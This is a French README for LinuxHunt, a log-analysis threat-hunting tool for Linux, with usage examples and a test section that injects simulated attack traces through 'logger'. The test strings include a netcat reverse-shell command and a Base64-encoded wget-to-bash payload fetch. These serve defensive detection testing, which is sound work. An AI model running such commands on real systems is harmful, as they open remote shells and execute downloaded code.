LinuxHunt est un outil de Threat Hunting en ligne de commande, léger et sans dépendance, conçu pour l'analyse rapide des journaux de sécurité sur les systèmes Linux modernes (Debian, Ubuntu, etc.).
Pensé comme une alternative à DeepBlueCLI pour l'environnement Linux, cet outil développé entièrement avec la bibliothèque standard Python 3 permet aux analystes SOC, aux équipes de réponse à incident (DFIR) et aux Purple Teams d'identifier rapidement des indicateurs de compromission (IoC) sans avoir à déployer d'agents complexes.
- Zéro Dépendance : Ne nécessite aucun module externe (
pip installinutile). Idéal pour les environnements restreints ou isolés. - Intégration
systemd-journald: Interroge directement les journaux viajournalctlavec une gestion dynamique du temps (--since). - Sécurité et Robustesse :
- Désinfection automatique des séquences d'échappement ANSI pour prévenir les attaques par falsification de logs (Log Forging / Terminal Injection).
- Validation stricte des entrées utilisateur pour empêcher les injections de commandes.
- Expressions régulières précompilées et protections anti-OOM (Out-Of-Memory) lors des attaques massives.
- Détection Automatisée :
- Module
auth: Détection de Bruteforce SSH/PAM, de création de nouveaux utilisateurs, et d'exécution de commandes suspectes viasudoousu. - Module
syslog: Détection d'Anti-Forensics (effacement d'historique), de reverse shells, de téléchargements suspects (wget/curl), et décodage à la volée de payloads malveillants encodés en Base64.
- Module
Clonez simplement le dépôt et exécutez le script :
git clone https://github.com/Spellskite-coding/LinuxHunt cd LinuxHunt
L'outil nécessite des privilèges élevés (sudo) pour accéder aux journaux de sécurité du système.
- Syntaxe de base :
sudo python3 linuxhunt.py -j -t <type_de_log> -s "<période>"
- Analyser les tentatives d'authentification des dernières 24 heures :
sudo python3 linuxhunt.py -j -t auth -s "24 hours ago"
- Traquer l'exécution de commandes suspectes ou de payloads sur la journée en cours :
sudo python3 linuxhunt.py -j -t syslog -s "today"
- Analyser un ancien fichier de log statique (mode hors-ligne) :
sudo python3 linuxhunt.py -f /var/log/auth.log.1 -t auth
Vous pouvez tester l'efficacité des règles de détection en injectant de fausses traces dans le journal système à l'aide de la commande logger.
- Simuler un Anti-Forensics (effacement de traces) :
logger "user root attempted track covering: history -c"
- Simuler un Reverse Shell :
logger "type=EXECVE COMMAND=nc -e /bin/bash 10.0.0.0 4444"
- Simuler l'exécution d'un payload masqué en Base64 :
logger "type=EXECVE COMMAND=echo d2dldCBodHRwOi8vc2FmZWJsdWVjb25zZWlsLmZyL3BheWxvYWQuc2g= | base64 -d | bash"
sudo python3 linuxhunt.py -j -t syslog -s "5 minutes ago"
Je vous souhaite de bonnes investigations ! :)